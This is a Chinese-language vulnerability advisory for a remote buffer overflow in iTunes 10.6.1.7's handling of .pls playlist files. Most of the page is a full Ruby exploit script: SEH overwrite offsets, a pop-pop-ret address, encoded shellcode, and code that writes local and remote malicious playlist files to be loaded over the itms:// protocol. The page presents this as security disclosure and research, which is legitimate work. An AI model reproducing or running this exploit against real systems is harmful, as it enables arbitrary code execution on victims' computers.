Apple iTunes '.pls'文件远程缓冲区溢出漏洞
发布日期：2015-04-27
更新日期：2015-05-12
受影响系统：
描述：
BUGTRAQ ID: 74467
iTunes是一款数字媒体播放应用程序，是供Mac和PC使用的一款免费应用软件，能管理和播放你的数字音乐和视频。
iTunes 10.6.1.7及其他版本在处理.pls文件时存在远程缓冲区溢出漏洞，攻击者利用此漏洞可在受影响应用上下文中执行任意代码。
<*来源：Fady Mohammed Osman
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# Exploit Title: Apple Itunes PLS title buffer overflow
# Date: April 26 ,2015 (Day of disclosing this exploit code)
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Vendor Homepage:
# Software Link: ?id=890128564
# Version: 10.6.1.7
# Tested on: Windows Xp sp3
# Exploit-db : ?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r
header = "[Playlist]\r\n"
header << "NumberOfEntries=1\r\n"
header << "File1=\r\n"
header << "Title1="
nseh_longer = "\xeb\x1E\x90\x90"
nseh_shorter = "\xeb\x06\x90\x90"
seh = 0x72d119de #pop pop ret from msacm32.drv
shell = "\xdd\xc1\xd9\x74\x24\xf4\xbb\x2b\x2b\x88\x37\x5a\x31\xc9" +
"\xb1\x33\x83\xea\xfc\x31\x5a\x13\x03\x71\x38\x6a\xc2\x79" +
"\xd6\xe3\x2d\x81\x27\x94\xa4\x64\x16\x86\xd3\xed\x0b\x16" +
"\x97\xa3\xa7\xdd\xf5\x57\x33\x93\xd1\x58\xf4\x1e\x04\x57" +
"\x05\xaf\x88\x3b\xc5\xb1\x74\x41\x1a\x12\x44\x8a\x6f\x53" +
"\x81\xf6\x80\x01\x5a\x7d\x32\xb6\xef\xc3\x8f\xb7\x3f\x48" +
"\xaf\xcf\x3a\x8e\x44\x7a\x44\xde\xf5\xf1\x0e\xc6\x7e\x5d" +
"\xaf\xf7\x53\xbd\x93\xbe\xd8\x76\x67\x41\x09\x47\x88\x70" +
"\x75\x04\xb7\xbd\x78\x54\xff\x79\x63\x23\x0b\x7a\x1e\x34" +
"\xc8\x01\xc4\xb1\xcd\xa1\x8f\x62\x36\x50\x43\xf4\xbd\x5e" +
"\x28\x72\x99\x42\xaf\x57\x91\x7e\x24\x56\x76\xf7\x7e\x7d" +
"\x52\x5c\x24\x1c\xc3\x38\x8b\x21\x13\xe4\x74\x84\x5f\x06" +
"\x60\xbe\x3d\x4c\x77\x32\x38\x29\x77\x4c\x43\x19\x10\x7d" +
"\xc8\xf6\x67\x82\x1b\xb3\x98\xc8\x06\x95\x30\x95\xd2\xa4" +
"\x5c\x26\x09\xea\x58\xa5\xb8\x92\x9e\xb5\xc8\x97\xdb\x71" +
"\x20\xe5\x74\x14\x46\x5a\x74\x3d\x25\x3d\xe6\xdd\x84\xd8" +
"\x8e\x44\xd9"
#1020 --> offset in local exploits
payload = header + "A" * 1020 + nseh_shorter + [seh].pack('V') + shell
#380 or 404 (if itunes wasn't already loaded)--> offset in remote ones using the itms protocol.
payload_remote = header + "A" * 380 + nseh_longer + [seh].pack('V') + "A" * 16 + nseh_shorter + [seh].pack('V') + shell
# when using as local exploit
open('exploit.pls', 'w') { |f|
f.puts payload
}
puts('local file created')
# place this in a web server and use the itms:// protocol to load it.
open('exploit_remote.pls', 'w') { |f|
f.puts payload_remote
}
puts('remote file created')
建议：